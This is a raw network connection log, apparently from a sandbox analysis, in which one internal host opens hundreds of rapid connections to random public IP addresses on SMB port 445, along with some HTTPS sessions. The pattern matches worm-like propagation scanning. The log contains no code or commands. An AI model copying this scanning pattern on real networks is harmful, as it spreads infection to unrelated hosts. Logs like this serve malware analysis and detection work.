Jul 20, 2022 09:08:11.175311089 CEST	50545	445	192.168.2.6	152.119.38.20
Jul 20, 2022 09:08:11.187917948 CEST	50546	445	192.168.2.6	161.150.31.171
Jul 20, 2022 09:08:11.193406105 CEST	50547	445	192.168.2.6	153.131.204.214
Jul 20, 2022 09:08:11.193671942 CEST	50548	445	192.168.2.6	144.231.130.70
Jul 20, 2022 09:08:11.193795919 CEST	50549	445	192.168.2.6	113.185.114.137
Jul 20, 2022 09:08:11.193866968 CEST	50550	445	192.168.2.6	209.197.91.1
Jul 20, 2022 09:08:11.193953991 CEST	50551	445	192.168.2.6	179.56.131.95
Jul 20, 2022 09:08:11.194163084 CEST	50553	445	192.168.2.6	70.10.187.247
Jul 20, 2022 09:08:11.194179058 CEST	50552	445	192.168.2.6	7.10.71.199
Jul 20, 2022 09:08:11.194261074 CEST	50554	445	192.168.2.6	42.94.33.48
Jul 20, 2022 09:08:11.194351912 CEST	50556	445	192.168.2.6	16.200.226.226
Jul 20, 2022 09:08:11.194364071 CEST	50555	445	192.168.2.6	19.90.31.229
Jul 20, 2022 09:08:11.194459915 CEST	50558	445	192.168.2.6	187.196.25.122
Jul 20, 2022 09:08:11.194479942 CEST	50557	445	192.168.2.6	75.93.152.10
Jul 20, 2022 09:08:11.235043049 CEST	50559	445	192.168.2.6	76.122.218.241
Jul 20, 2022 09:08:11.309322119 CEST	50560	445	192.168.2.6	177.180.79.119
Jul 20, 2022 09:08:11.449485064 CEST	445	50551	179.56.131.95	192.168.2.6
Jul 20, 2022 09:08:11.463751078 CEST	50561	443	192.168.2.6	20.199.120.151
Jul 20, 2022 09:08:11.463812113 CEST	443	50561	20.199.120.151	192.168.2.6
Jul 20, 2022 09:08:11.463946104 CEST	50561	443	192.168.2.6	20.199.120.151
Jul 20, 2022 09:08:11.464818001 CEST	50561	443	192.168.2.6	20.199.120.151
Jul 20, 2022 09:08:11.464843988 CEST	443	50561	20.199.120.151	192.168.2.6
Jul 20, 2022 09:08:11.531418085 CEST	50562	445	192.168.2.6	108.82.231.180
Jul 20, 2022 09:08:11.573014975 CEST	443	50561	20.199.120.151	192.168.2.6
Jul 20, 2022 09:08:11.573164940 CEST	50561	443	192.168.2.6	20.199.120.151
Jul 20, 2022 09:08:11.579015970 CEST	50561	443	192.168.2.6	20.199.120.151
Jul 20, 2022 09:08:11.579041958 CEST	443	50561	20.199.120.151	192.168.2.6
Jul 20, 2022 09:08:11.579425097 CEST	443	50561	20.199.120.151	192.168.2.6
Jul 20, 2022 09:08:11.588794947 CEST	50561	443	192.168.2.6	20.199.120.151
Jul 20, 2022 09:08:11.588865995 CEST	50561	443	192.168.2.6	20.199.120.151
Jul 20, 2022 09:08:11.588891029 CEST	443	50561	20.199.120.151	192.168.2.6
Jul 20, 2022 09:08:11.589061975 CEST	50561	443	192.168.2.6	20.199.120.151
Jul 20, 2022 09:08:11.617507935 CEST	443	50561	20.199.120.151	192.168.2.6
Jul 20, 2022 09:08:11.617602110 CEST	443	50561	20.199.120.151	192.168.2.6
Jul 20, 2022 09:08:11.617691994 CEST	50561	443	192.168.2.6	20.199.120.151
Jul 20, 2022 09:08:11.623384953 CEST	50561	443	192.168.2.6	20.199.120.151
Jul 20, 2022 09:08:11.623425961 CEST	443	50561	20.199.120.151	192.168.2.6
Jul 20, 2022 09:08:11.750184059 CEST	50563	445	192.168.2.6	189.203.123.245
Jul 20, 2022 09:08:12.064294100 CEST	50564	445	192.168.2.6	9.164.187.115
Jul 20, 2022 09:08:12.124470949 CEST	50551	445	192.168.2.6	179.56.131.95
Jul 20, 2022 09:08:12.266521931 CEST	50565	445	192.168.2.6	123.20.106.179
Jul 20, 2022 09:08:12.267281055 CEST	50566	445	192.168.2.6	36.58.75.57
Jul 20, 2022 09:08:12.268105984 CEST	50567	445	192.168.2.6	23.101.155.98
Jul 20, 2022 09:08:12.268846035 CEST	50568	445	192.168.2.6	191.111.83.159
Jul 20, 2022 09:08:12.298302889 CEST	50569	445	192.168.2.6	94.40.254.131
Jul 20, 2022 09:08:12.299047947 CEST	50570	445	192.168.2.6	114.237.40.109
Jul 20, 2022 09:08:12.312218904 CEST	50355	445	192.168.2.6	201.187.246.1
Jul 20, 2022 09:08:12.313342094 CEST	50571	445	192.168.2.6	124.204.221.158
Jul 20, 2022 09:08:12.313884974 CEST	50572	445	192.168.2.6	1.96.129.104
Jul 20, 2022 09:08:12.314424992 CEST	50573	445	192.168.2.6	142.174.202.178
Jul 20, 2022 09:08:12.333000898 CEST	50574	445	192.168.2.6	171.202.228.185
Jul 20, 2022 09:08:12.342068911 CEST	50576	445	192.168.2.6	199.184.221.62
Jul 20, 2022 09:08:12.342104912 CEST	50575	445	192.168.2.6	30.252.181.185
Jul 20, 2022 09:08:12.342240095 CEST	50578	445	192.168.2.6	12.226.79.54
Jul 20, 2022 09:08:12.342272043 CEST	50577	445	192.168.2.6	37.235.62.128
Jul 20, 2022 09:08:12.342338085 CEST	50579	445	192.168.2.6	170.108.107.200
Jul 20, 2022 09:08:12.342391014 CEST	50580	445	192.168.2.6	49.35.22.201
Jul 20, 2022 09:08:12.342478991 CEST	50582	445	192.168.2.6	15.184.25.67
Jul 20, 2022 09:08:12.342505932 CEST	50581	445	192.168.2.6	117.60.14.8
Jul 20, 2022 09:08:12.342612982 CEST	50583	445	192.168.2.6	122.81.22.252
Jul 20, 2022 09:08:12.345294952 CEST	50584	445	192.168.2.6	99.119.84.124
Jul 20, 2022 09:08:12.380172968 CEST	445	50551	179.56.131.95	192.168.2.6
Jul 20, 2022 09:08:12.422055960 CEST	50585	445	192.168.2.6	72.173.198.169
Jul 20, 2022 09:08:12.649898052 CEST	50586	445	192.168.2.6	85.77.19.51
Jul 20, 2022 09:08:12.759043932 CEST	50587	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:08:12.759094000 CEST	443	50587	20.82.209.183	192.168.2.6
Jul 20, 2022 09:08:12.759196997 CEST	50587	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:08:12.759686947 CEST	50587	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:08:12.759700060 CEST	443	50587	20.82.209.183	192.168.2.6
Jul 20, 2022 09:08:12.879842997 CEST	50588	445	192.168.2.6	214.160.31.135
Jul 20, 2022 09:08:12.895482063 CEST	443	50587	20.82.209.183	192.168.2.6
Jul 20, 2022 09:08:12.895570993 CEST	50587	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:08:12.896267891 CEST	50587	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:08:12.896281004 CEST	443	50587	20.82.209.183	192.168.2.6
Jul 20, 2022 09:08:12.898942947 CEST	50587	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:08:12.898960114 CEST	443	50587	20.82.209.183	192.168.2.6
Jul 20, 2022 09:08:13.038218975 CEST	443	50587	20.82.209.183	192.168.2.6
Jul 20, 2022 09:08:13.038248062 CEST	443	50587	20.82.209.183	192.168.2.6
Jul 20, 2022 09:08:13.038317919 CEST	443	50587	20.82.209.183	192.168.2.6
Jul 20, 2022 09:08:13.038360119 CEST	50587	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:08:13.038449049 CEST	50587	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:08:13.039587021 CEST	50587	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:08:13.039606094 CEST	443	50587	20.82.209.183	192.168.2.6
Jul 20, 2022 09:08:13.172699928 CEST	50589	445	192.168.2.6	98.125.85.174
Jul 20, 2022 09:08:13.315212965 CEST	50590	445	192.168.2.6	162.200.55.147
Jul 20, 2022 09:08:13.395787954 CEST	50591	445	192.168.2.6	185.109.218.128
Jul 20, 2022 09:08:13.396024942 CEST	50592	445	192.168.2.6	97.172.164.198
Jul 20, 2022 09:08:13.396040916 CEST	50593	445	192.168.2.6	5.109.53.104
Jul 20, 2022 09:08:13.396203041 CEST	50594	445	192.168.2.6	206.12.145.124
Jul 20, 2022 09:08:13.407095909 CEST	50595	445	192.168.2.6	50.155.48.109
Jul 20, 2022 09:08:13.407149076 CEST	50596	445	192.168.2.6	82.109.31.2
Jul 20, 2022 09:08:13.423938990 CEST	50597	445	192.168.2.6	182.30.150.87
Jul 20, 2022 09:08:13.425754070 CEST	50598	445	192.168.2.6	22.113.60.199
Jul 20, 2022 09:08:13.426824093 CEST	50599	445	192.168.2.6	31.83.55.224
Jul 20, 2022 09:08:13.438234091 CEST	50600	445	192.168.2.6	95.182.130.190
Jul 20, 2022 09:08:13.439198017 CEST	50601	445	192.168.2.6	21.215.197.24
Jul 20, 2022 09:08:13.439934015 CEST	50602	445	192.168.2.6	75.72.77.218
Jul 20, 2022 09:08:13.440624952 CEST	50603	445	192.168.2.6	116.133.188.49
Jul 20, 2022 09:08:13.441539049 CEST	50604	445	192.168.2.6	7.97.4.118
Jul 20, 2022 09:08:13.442351103 CEST	50605	445	192.168.2.6	60.170.176.94
Jul 20, 2022 09:08:13.443069935 CEST	50606	445	192.168.2.6	151.228.247.224
Jul 20, 2022 09:08:13.443824053 CEST	50607	445	192.168.2.6	113.167.34.60
Jul 20, 2022 09:08:13.444550037 CEST	50608	445	192.168.2.6	93.54.121.16
Jul 20, 2022 09:08:13.445497990 CEST	50609	445	192.168.2.6	96.24.103.98
Jul 20, 2022 09:08:13.453900099 CEST	50610	445	192.168.2.6	174.231.200.179
Jul 20, 2022 09:08:13.477225065 CEST	445	50608	93.54.121.16	192.168.2.6
Jul 20, 2022 09:08:13.531930923 CEST	50611	445	192.168.2.6	169.80.177.198
Jul 20, 2022 09:08:13.751230955 CEST	50612	445	192.168.2.6	159.156.14.120
Jul 20, 2022 09:08:14.016211033 CEST	50613	445	192.168.2.6	30.251.144.90
Jul 20, 2022 09:08:14.124677896 CEST	50608	445	192.168.2.6	93.54.121.16
Jul 20, 2022 09:08:14.157459974 CEST	445	50608	93.54.121.16	192.168.2.6
Jul 20, 2022 09:08:14.376813889 CEST	50614	445	192.168.2.6	6.215.107.7
Jul 20, 2022 09:08:14.439363003 CEST	50615	445	192.168.2.6	135.192.7.130
Jul 20, 2022 09:08:14.517400980 CEST	50616	445	192.168.2.6	50.182.187.193
Jul 20, 2022 09:08:14.518162012 CEST	50617	445	192.168.2.6	176.63.125.192
Jul 20, 2022 09:08:14.518903017 CEST	50618	445	192.168.2.6	24.249.8.113
Jul 20, 2022 09:08:14.519638062 CEST	50619	445	192.168.2.6	117.218.122.113
Jul 20, 2022 09:08:14.531999111 CEST	50620	445	192.168.2.6	148.199.186.229
Jul 20, 2022 09:08:14.532824039 CEST	50621	445	192.168.2.6	104.191.204.2
Jul 20, 2022 09:08:14.548001051 CEST	50622	445	192.168.2.6	162.60.23.49
Jul 20, 2022 09:08:14.549139023 CEST	50623	445	192.168.2.6	69.11.24.114
Jul 20, 2022 09:08:14.550086975 CEST	50624	445	192.168.2.6	203.131.249.224
Jul 20, 2022 09:08:14.566854000 CEST	50625	445	192.168.2.6	131.162.103.195
Jul 20, 2022 09:08:14.567650080 CEST	50626	445	192.168.2.6	211.156.66.204
Jul 20, 2022 09:08:14.568449020 CEST	50627	445	192.168.2.6	111.11.139.237
Jul 20, 2022 09:08:14.569499969 CEST	50628	445	192.168.2.6	115.207.212.72
Jul 20, 2022 09:08:14.570590019 CEST	50629	445	192.168.2.6	72.163.194.131
Jul 20, 2022 09:08:14.571649075 CEST	50630	445	192.168.2.6	97.13.150.105
Jul 20, 2022 09:08:14.572624922 CEST	50631	445	192.168.2.6	185.201.93.101
Jul 20, 2022 09:08:14.573630095 CEST	50632	445	192.168.2.6	140.216.244.15
Jul 20, 2022 09:08:14.574604988 CEST	50633	445	192.168.2.6	57.35.183.146
Jul 20, 2022 09:08:14.575567007 CEST	50634	445	192.168.2.6	148.101.138.233
Jul 20, 2022 09:08:14.590802908 CEST	50635	445	192.168.2.6	112.14.213.187
Jul 20, 2022 09:08:14.659090042 CEST	50636	445	192.168.2.6	112.148.206.250
Jul 20, 2022 09:08:14.933465004 CEST	50637	445	192.168.2.6	130.207.58.135
Jul 20, 2022 09:08:15.141423941 CEST	50638	445	192.168.2.6	184.229.76.136
Jul 20, 2022 09:08:15.331845045 CEST	50639	445	192.168.2.6	38.88.13.153
Jul 20, 2022 09:08:15.438525915 CEST	445	50639	38.88.13.153	192.168.2.6
Jul 20, 2022 09:08:15.510042906 CEST	50640	445	192.168.2.6	57.224.124.147
Jul 20, 2022 09:08:15.563230991 CEST	50641	445	192.168.2.6	102.83.230.27
Jul 20, 2022 09:08:15.641516924 CEST	50642	445	192.168.2.6	37.79.196.18
Jul 20, 2022 09:08:15.641993046 CEST	50643	445	192.168.2.6	54.215.196.6
Jul 20, 2022 09:08:15.642501116 CEST	50644	445	192.168.2.6	34.133.167.229
Jul 20, 2022 09:08:15.643030882 CEST	50645	445	192.168.2.6	199.30.12.17
Jul 20, 2022 09:08:15.656908035 CEST	50646	445	192.168.2.6	53.40.243.79
Jul 20, 2022 09:08:15.657500982 CEST	50647	445	192.168.2.6	35.79.233.32
Jul 20, 2022 09:08:15.673356056 CEST	50648	445	192.168.2.6	154.58.7.78
Jul 20, 2022 09:08:15.674259901 CEST	50649	445	192.168.2.6	77.75.35.208
Jul 20, 2022 09:08:15.674813032 CEST	50650	445	192.168.2.6	94.109.82.132
Jul 20, 2022 09:08:15.690295935 CEST	50651	445	192.168.2.6	191.177.227.241
Jul 20, 2022 09:08:15.691109896 CEST	50652	445	192.168.2.6	57.207.60.103
Jul 20, 2022 09:08:15.691817045 CEST	50653	445	192.168.2.6	194.173.202.56
Jul 20, 2022 09:08:15.692552090 CEST	50654	445	192.168.2.6	137.203.9.199
Jul 20, 2022 09:08:15.693272114 CEST	50655	445	192.168.2.6	70.239.70.245
Jul 20, 2022 09:08:15.694080114 CEST	50656	445	192.168.2.6	67.94.236.238
Jul 20, 2022 09:08:15.694829941 CEST	50657	445	192.168.2.6	28.204.218.72
Jul 20, 2022 09:08:15.695604086 CEST	50658	445	192.168.2.6	24.140.23.188
Jul 20, 2022 09:08:15.696453094 CEST	50659	445	192.168.2.6	71.105.153.169
Jul 20, 2022 09:08:15.697227955 CEST	50660	445	192.168.2.6	187.39.100.245
Jul 20, 2022 09:08:15.705712080 CEST	50661	445	192.168.2.6	87.195.47.254
Jul 20, 2022 09:08:15.783763885 CEST	50662	445	192.168.2.6	28.213.232.172
Jul 20, 2022 09:08:15.999815941 CEST	50639	445	192.168.2.6	38.88.13.153
Jul 20, 2022 09:08:16.031776905 CEST	50663	445	192.168.2.6	24.236.174.43
Jul 20, 2022 09:08:16.107007027 CEST	445	50639	38.88.13.153	192.168.2.6
Jul 20, 2022 09:08:16.268292904 CEST	50664	445	192.168.2.6	126.22.27.83
Jul 20, 2022 09:08:16.527367115 CEST	50665	445	192.168.2.6	16.171.19.166
Jul 20, 2022 09:08:16.584853888 CEST	445	50664	126.22.27.83	192.168.2.6
Jul 20, 2022 09:08:16.635059118 CEST	50666	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:08:16.635092020 CEST	443	50666	20.199.120.85	192.168.2.6
Jul 20, 2022 09:08:16.635188103 CEST	50666	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:08:16.636085033 CEST	50666	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:08:16.636101961 CEST	443	50666	20.199.120.85	192.168.2.6
Jul 20, 2022 09:08:16.641832113 CEST	50667	445	192.168.2.6	197.79.219.244
Jul 20, 2022 09:08:16.688465118 CEST	50668	445	192.168.2.6	210.49.12.118
Jul 20, 2022 09:08:16.728868008 CEST	443	50666	20.199.120.85	192.168.2.6
Jul 20, 2022 09:08:16.728996038 CEST	50666	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:08:16.731100082 CEST	50666	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:08:16.731112957 CEST	443	50666	20.199.120.85	192.168.2.6
Jul 20, 2022 09:08:16.731432915 CEST	443	50666	20.199.120.85	192.168.2.6
Jul 20, 2022 09:08:16.741589069 CEST	50666	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:08:16.742135048 CEST	50666	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:08:16.742147923 CEST	443	50666	20.199.120.85	192.168.2.6
Jul 20, 2022 09:08:16.742356062 CEST	50666	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:08:16.769273996 CEST	50669	445	192.168.2.6	75.217.82.254
Jul 20, 2022 09:08:16.769392967 CEST	443	50666	20.199.120.85	192.168.2.6
Jul 20, 2022 09:08:16.769485950 CEST	443	50666	20.199.120.85	192.168.2.6
Jul 20, 2022 09:08:16.769956112 CEST	50666	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:08:16.769984007 CEST	443	50666	20.199.120.85	192.168.2.6
Jul 20, 2022 09:08:16.769998074 CEST	50666	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:08:16.770004988 CEST	443	50666	20.199.120.85	192.168.2.6
Jul 20, 2022 09:08:16.774729967 CEST	50670	445	192.168.2.6	215.128.19.41
Jul 20, 2022 09:08:16.776403904 CEST	50672	445	192.168.2.6	78.81.12.185
Jul 20, 2022 09:08:16.793169975 CEST	50673	445	192.168.2.6	94.41.208.143
Jul 20, 2022 09:08:16.793448925 CEST	50674	445	192.168.2.6	80.205.70.34
Jul 20, 2022 09:08:16.793548107 CEST	50676	445	192.168.2.6	111.143.29.93
Jul 20, 2022 09:08:16.793586016 CEST	50675	445	192.168.2.6	110.59.179.119
Jul 20, 2022 09:08:16.793904066 CEST	50677	445	192.168.2.6	124.178.18.89
Jul 20, 2022 09:08:16.813815117 CEST	50678	445	192.168.2.6	119.197.201.1
Jul 20, 2022 09:08:16.814618111 CEST	50679	445	192.168.2.6	91.205.235.170
Jul 20, 2022 09:08:16.815434933 CEST	50680	445	192.168.2.6	100.192.252.104
Jul 20, 2022 09:08:16.816190958 CEST	50681	445	192.168.2.6	112.93.56.238
Jul 20, 2022 09:08:16.816962004 CEST	50682	445	192.168.2.6	134.100.102.239
Jul 20, 2022 09:08:16.818048000 CEST	50683	445	192.168.2.6	121.149.235.144
Jul 20, 2022 09:08:16.818823099 CEST	50684	445	192.168.2.6	130.29.75.6
Jul 20, 2022 09:08:16.819628000 CEST	50685	445	192.168.2.6	114.49.133.153
Jul 20, 2022 09:08:16.820394039 CEST	50686	445	192.168.2.6	37.134.130.77
Jul 20, 2022 09:08:16.821130037 CEST	50687	445	192.168.2.6	162.1.94.163
Jul 20, 2022 09:08:16.830863953 CEST	50688	445	192.168.2.6	41.53.69.14
Jul 20, 2022 09:08:16.908214092 CEST	50689	445	192.168.2.6	29.6.169.225
Jul 20, 2022 09:08:17.124855995 CEST	50664	445	192.168.2.6	126.22.27.83
Jul 20, 2022 09:08:17.141175032 CEST	50690	445	192.168.2.6	205.60.78.54
Jul 20, 2022 09:08:17.349493980 CEST	50691	445	192.168.2.6	103.116.78.192
Jul 20, 2022 09:08:17.392594099 CEST	50692	445	192.168.2.6	60.254.24.204
Jul 20, 2022 09:08:17.442194939 CEST	445	50664	126.22.27.83	192.168.2.6
Jul 20, 2022 09:08:17.641418934 CEST	50693	445	192.168.2.6	197.153.100.211
Jul 20, 2022 09:08:17.770497084 CEST	50694	445	192.168.2.6	216.88.6.181
Jul 20, 2022 09:08:17.814296961 CEST	50695	445	192.168.2.6	27.193.46.109
Jul 20, 2022 09:08:17.875926971 CEST	50696	445	192.168.2.6	124.69.102.214
Jul 20, 2022 09:08:17.876686096 CEST	50697	445	192.168.2.6	48.58.252.168
Jul 20, 2022 09:08:17.877424002 CEST	50698	445	192.168.2.6	40.215.87.209
Jul 20, 2022 09:08:17.878496885 CEST	50699	445	192.168.2.6	113.162.78.87
Jul 20, 2022 09:08:17.894138098 CEST	50700	445	192.168.2.6	149.93.229.92
Jul 20, 2022 09:08:17.894907951 CEST	50701	445	192.168.2.6	182.8.148.135
Jul 20, 2022 09:08:17.895989895 CEST	50702	445	192.168.2.6	203.113.67.48
Jul 20, 2022 09:08:17.897346020 CEST	50704	445	192.168.2.6	53.137.230.201
Jul 20, 2022 09:08:17.938462973 CEST	50705	445	192.168.2.6	61.219.153.159
Jul 20, 2022 09:08:17.942070961 CEST	50706	445	192.168.2.6	167.175.119.106
Jul 20, 2022 09:08:17.942092896 CEST	50707	445	192.168.2.6	75.183.230.52
Jul 20, 2022 09:08:17.942213058 CEST	50708	445	192.168.2.6	25.253.7.252
Jul 20, 2022 09:08:17.942224026 CEST	50709	445	192.168.2.6	91.23.189.45
Jul 20, 2022 09:08:17.942325115 CEST	50710	445	192.168.2.6	77.109.109.64
Jul 20, 2022 09:08:17.942361116 CEST	50711	445	192.168.2.6	174.243.149.181
Jul 20, 2022 09:08:17.942440033 CEST	50712	445	192.168.2.6	103.72.105.53
Jul 20, 2022 09:08:17.942488909 CEST	50713	445	192.168.2.6	167.205.91.100
Jul 20, 2022 09:08:17.942553997 CEST	50714	445	192.168.2.6	139.215.43.155
Jul 20, 2022 09:08:17.954638958 CEST	50715	445	192.168.2.6	9.99.122.183
Jul 20, 2022 09:08:18.040679932 CEST	50716	445	192.168.2.6	4.6.118.52
Jul 20, 2022 09:08:18.250865936 CEST	50717	445	192.168.2.6	21.210.66.228
Jul 20, 2022 09:08:18.455468893 CEST	50718	445	192.168.2.6	69.194.32.4
Jul 20, 2022 09:08:18.518008947 CEST	50719	445	192.168.2.6	65.119.56.122
Jul 20, 2022 09:08:18.767910957 CEST	50720	445	192.168.2.6	95.234.236.212
Jul 20, 2022 09:08:18.783539057 CEST	50721	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:18.783611059 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:18.783740997 CEST	50721	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:18.784854889 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:18.784885883 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:18.784948111 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:18.789597034 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:18.789650917 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:18.789741039 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:18.790256977 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:18.790291071 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:18.790350914 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:18.823852062 CEST	50721	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:18.823887110 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:18.823926926 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:18.823982000 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:18.832107067 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:18.832135916 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:18.832237005 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:18.832257032 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:18.889564037 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:18.889663935 CEST	50721	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:18.891875982 CEST	50725	445	192.168.2.6	152.186.125.85
Jul 20, 2022 09:08:18.892421007 CEST	443	50724	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:18.892422915 CEST	443	50722	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:18.892525911 CEST	50722	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:18.892884016 CEST	50724	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:18.893049002 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:18.893121958 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:18.939440012 CEST	50726	445	192.168.2.6	78.26.177.84
Jul 20, 2022 09:08:19.001593113 CEST	50727	445	192.168.2.6	50.252.246.1
Jul 20, 2022 09:08:19.001605034 CEST	50728	445	192.168.2.6	13.144.166.200
Jul 20, 2022 09:08:19.001681089 CEST	50729	445	192.168.2.6	167.5.144.149
Jul 20, 2022 09:08:19.001704931 CEST	50730	445	192.168.2.6	220.251.94.182
Jul 20, 2022 09:08:19.018013000 CEST	50731	445	192.168.2.6	92.122.130.67
Jul 20, 2022 09:08:19.018357992 CEST	50732	445	192.168.2.6	223.56.83.175
Jul 20, 2022 09:08:19.018460035 CEST	50733	445	192.168.2.6	13.24.63.36
Jul 20, 2022 09:08:19.018543959 CEST	50734	445	192.168.2.6	152.95.50.212
Jul 20, 2022 09:08:19.018644094 CEST	50735	445	192.168.2.6	122.14.167.33
Jul 20, 2022 09:08:19.063282013 CEST	50736	445	192.168.2.6	199.146.146.168
Jul 20, 2022 09:08:19.081594944 CEST	50737	445	192.168.2.6	147.5.16.21
Jul 20, 2022 09:08:19.082160950 CEST	50738	445	192.168.2.6	182.180.87.139
Jul 20, 2022 09:08:19.082700968 CEST	50739	445	192.168.2.6	165.71.245.121
Jul 20, 2022 09:08:19.083239079 CEST	50740	445	192.168.2.6	168.108.23.90
Jul 20, 2022 09:08:19.084253073 CEST	50741	445	192.168.2.6	3.135.101.233
Jul 20, 2022 09:08:19.085824013 CEST	50743	445	192.168.2.6	109.204.119.25
Jul 20, 2022 09:08:19.085844994 CEST	50742	445	192.168.2.6	101.171.199.218
Jul 20, 2022 09:08:19.085938931 CEST	50745	445	192.168.2.6	94.163.176.166
Jul 20, 2022 09:08:19.086016893 CEST	50744	445	192.168.2.6	213.89.116.154
Jul 20, 2022 09:08:19.086023092 CEST	50746	445	192.168.2.6	157.202.251.160
Jul 20, 2022 09:08:19.156969070 CEST	50747	445	192.168.2.6	27.154.84.70
Jul 20, 2022 09:08:19.341602087 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:19.341654062 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:19.341732979 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:19.350008965 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:19.350125074 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:19.362405062 CEST	50749	445	192.168.2.6	194.68.132.56
Jul 20, 2022 09:08:19.385324001 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:19.385458946 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:19.386935949 CEST	50750	445	192.168.2.6	81.73.89.24
Jul 20, 2022 09:08:19.616947889 CEST	50751	445	192.168.2.6	25.140.116.180
Jul 20, 2022 09:08:19.657320976 CEST	50752	445	192.168.2.6	56.141.117.79
Jul 20, 2022 09:08:20.063813925 CEST	50753	445	192.168.2.6	17.130.243.100
Jul 20, 2022 09:08:20.196273088 CEST	50754	445	192.168.2.6	181.124.190.73
Jul 20, 2022 09:08:20.197232962 CEST	50755	445	192.168.2.6	97.80.86.122
Jul 20, 2022 09:08:20.198142052 CEST	50756	445	192.168.2.6	171.70.240.250
Jul 20, 2022 09:08:20.198966026 CEST	50757	445	192.168.2.6	21.86.242.197
Jul 20, 2022 09:08:20.200092077 CEST	50758	445	192.168.2.6	102.252.145.20
Jul 20, 2022 09:08:20.200902939 CEST	50759	445	192.168.2.6	29.198.203.174
Jul 20, 2022 09:08:20.201654911 CEST	50760	445	192.168.2.6	110.3.56.188
Jul 20, 2022 09:08:20.202430010 CEST	50761	445	192.168.2.6	58.135.142.61
Jul 20, 2022 09:08:20.203207016 CEST	50762	445	192.168.2.6	160.42.153.121
Jul 20, 2022 09:08:20.212712049 CEST	50763	445	192.168.2.6	164.180.202.209
Jul 20, 2022 09:08:20.213485956 CEST	50764	445	192.168.2.6	87.62.195.37
Jul 20, 2022 09:08:20.214245081 CEST	50765	445	192.168.2.6	181.197.219.84
Jul 20, 2022 09:08:20.214962006 CEST	50766	445	192.168.2.6	102.233.99.207
Jul 20, 2022 09:08:20.215693951 CEST	50767	445	192.168.2.6	135.187.70.18
Jul 20, 2022 09:08:20.216769934 CEST	50768	445	192.168.2.6	104.88.247.152
Jul 20, 2022 09:08:20.217685938 CEST	50769	445	192.168.2.6	136.47.202.253
Jul 20, 2022 09:08:20.218612909 CEST	50770	445	192.168.2.6	56.89.22.132
Jul 20, 2022 09:08:20.222228050 CEST	50771	445	192.168.2.6	210.128.27.60
Jul 20, 2022 09:08:20.222753048 CEST	50772	445	192.168.2.6	15.137.230.106
Jul 20, 2022 09:08:20.223283052 CEST	50773	445	192.168.2.6	161.95.32.245
Jul 20, 2022 09:08:20.223784924 CEST	50774	445	192.168.2.6	47.117.157.232
Jul 20, 2022 09:08:20.224302053 CEST	50775	445	192.168.2.6	172.29.113.185
Jul 20, 2022 09:08:20.331602097 CEST	50776	445	192.168.2.6	180.25.205.238
Jul 20, 2022 09:08:20.586869001 CEST	50777	445	192.168.2.6	85.149.176.93
Jul 20, 2022 09:08:20.587697983 CEST	50778	445	192.168.2.6	147.49.144.175
Jul 20, 2022 09:08:20.789149046 CEST	50779	445	192.168.2.6	98.230.50.64
Jul 20, 2022 09:08:20.810395956 CEST	50780	445	192.168.2.6	221.19.9.11
Jul 20, 2022 09:08:21.253549099 CEST	50781	445	192.168.2.6	99.167.101.37
Jul 20, 2022 09:08:22.135874987 CEST	50782	445	192.168.2.6	2.11.123.99
